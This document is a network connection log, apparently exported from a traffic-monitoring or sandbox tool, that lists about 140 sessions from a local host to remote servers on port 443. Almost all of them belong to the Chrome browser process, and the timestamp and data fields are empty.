994	192.168.2.17	50961	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
995	192.168.2.17	50963	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
996	192.168.2.17	50858	23.105.12.121	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
997	192.168.2.17	50964	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
998	192.168.2.17	50965	162.247.243.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
999	192.168.2.17	50967	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1000	192.168.2.17	50968	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1001	192.168.2.17	50969	172.67.164.44	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1002	192.168.2.17	50970	104.21.41.99	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1003	192.168.2.17	50976	35.244.193.51	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1004	192.168.2.17	50975	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1005	192.168.2.17	50978	50.16.98.63	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1006	192.168.2.17	50979	34.239.40.49	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1007	192.168.2.17	50980	18.164.96.18	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1008	192.168.2.17	50977	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1009	192.168.2.17	50981	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1010	192.168.2.17	50982	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1011	192.168.2.17	50984	104.18.36.155	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1012	192.168.2.17	50985	104.18.36.155	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1013	192.168.2.17	50986	207.65.37.179	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1014	192.168.2.17	50988	18.164.99.9	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1015	192.168.2.17	50983	3.211.252.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1016	192.168.2.17	50990	3.208.175.5	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1017	192.168.2.17	50992	35.244.193.51	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1018	192.168.2.17	50991	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1019	192.168.2.17	50994	34.239.40.49	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1020	192.168.2.17	50993	50.16.98.63	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1021	192.168.2.17	50995	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1022	192.168.2.17	50996	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1023	192.168.2.17	50999	172.240.155.100	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1024	192.168.2.17	51004	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1025	192.168.2.17	50997	54.81.20.119	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1026	192.168.2.17	51002	54.86.59.69	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1027	192.168.2.17	51001	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1028	192.168.2.17	51007	104.18.36.155	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1029	192.168.2.17	51000	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1030	192.168.2.17	51005	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1031	192.168.2.17	51006	207.65.37.179	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1032	192.168.2.17	51010	18.164.99.9	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1033	192.168.2.17	51003	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1034	192.168.2.17	51011	3.233.167.98	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1035	192.168.2.17	51013	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1036	192.168.2.17	51018	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1037	192.168.2.17	51014	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1038	192.168.2.17	51021	23.47.168.66	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1039	192.168.2.17	51015	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1040	192.168.2.17	51025	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1041	192.168.2.17	51017	18.206.144.25	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1042	192.168.2.17	51020	54.147.229.205	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1043	192.168.2.17	51030	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1044	192.168.2.17	51029	38.98.69.175	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1045	192.168.2.17	51034	44.199.126.93	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1046	192.168.2.17	51027	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1047	192.168.2.17	51035	104.18.36.155	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1048	192.168.2.17	51023	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1049	192.168.2.17	51037	142.250.65.238	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1050	192.168.2.17	51036	142.251.35.162	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1051	192.168.2.17	51019	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1052	192.168.2.17	51038	142.251.40.97	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1053	192.168.2.17	51028	52.55.128.19	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1054	192.168.2.17	51042	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1055	192.168.2.17	51040	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1056	192.168.2.17	51043	192.184.68.215	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1057	192.168.2.17	51041	104.18.25.173	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1058	192.168.2.17	51045	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1059	192.168.2.17	51047	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1060	192.168.2.17	51048	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1061	192.168.2.17	50892	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1062	192.168.2.17	51049	23.47.168.66	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1063	192.168.2.17	51053	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1064	192.168.2.17	51046	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1065	192.168.2.17	51044	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1066	192.168.2.17	51055	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1067	192.168.2.17	51061	44.199.126.93	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1068	192.168.2.17	51054	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1069	192.168.2.17	51058	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1070	192.168.2.17	51056	15.197.193.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1071	192.168.2.17	51063	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1072	192.168.2.17	51062	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1073	192.168.2.17	51076	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1074	192.168.2.17	51074	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1075	192.168.2.17	51050	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1076	192.168.2.17	51060	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1077	192.168.2.17	51064	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1078	192.168.2.17	51068	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1079	192.168.2.17	51057	52.94.220.185	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1080	192.168.2.17	51069	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1081	192.168.2.17	51078	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1082	192.168.2.17	51073	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1083	192.168.2.17	51071	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1084	192.168.2.17	51075	54.147.229.205	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1085	192.168.2.17	51067	54.147.229.205	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1086	192.168.2.17	51084	142.251.35.162	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1087	192.168.2.17	51082	52.46.128.147	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1088	192.168.2.17	51072	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1089	192.168.2.17	51088	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1090	192.168.2.17	51081	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1091	192.168.2.17	51094	142.251.35.162	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1092	192.168.2.17	51091	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1093	192.168.2.17	51085	162.247.243.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1094	192.168.2.17	51093	142.250.80.2	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1095	192.168.2.17	51090	52.46.128.147	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1096	192.168.2.17	51089	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1097	192.168.2.17	51079	188.40.16.146	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1098	192.168.2.17	51092	142.250.80.66	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1099	192.168.2.17	51095	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1100	192.168.2.17	51080	188.40.16.146	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1101	192.168.2.17	51105	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1102	192.168.2.17	51099	52.20.251.183	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1103	192.168.2.17	51104	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1104	192.168.2.17	51101	18.164.124.67	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1105	192.168.2.17	51103	142.251.35.162	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1106	192.168.2.17	51106	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1107	192.168.2.17	51112	142.250.80.2	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1108	192.168.2.17	51108	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1109	192.168.2.17	51096	54.159.170.51	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1110	192.168.2.17	51110	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1111	192.168.2.17	51102	54.239.33.159	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1112	192.168.2.17	51113	34.102.243.38	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1113	192.168.2.17	51114	68.67.179.153	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1114	192.168.2.17	51116	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1115	192.168.2.17	51118	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1116	192.168.2.17	51119	18.213.14.175	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1117	192.168.2.17	51117	142.250.80.2	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1118	192.168.2.17	51120	142.250.80.66	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1119	192.168.2.17	51121	108.139.47.105	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1120	192.168.2.17	51123	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1121	192.168.2.17	51124	142.250.80.2	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1122	192.168.2.17	51125	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1123	192.168.2.17	51127	34.102.243.38	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1124	192.168.2.17	51129	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1125	192.168.2.17	51128	5.9.235.249	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1126	192.168.2.17	51131	172.253.62.157	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1127	192.168.2.17	51133	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1128	192.168.2.17	51134	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1129	192.168.2.17	51135	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1130	192.168.2.17	51136	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1131	192.168.2.17	51137	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1132	192.168.2.17	51138	15.197.193.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1133	192.168.2.17	51141	108.139.47.105	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1134	192.168.2.17	51139	5.9.235.249	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

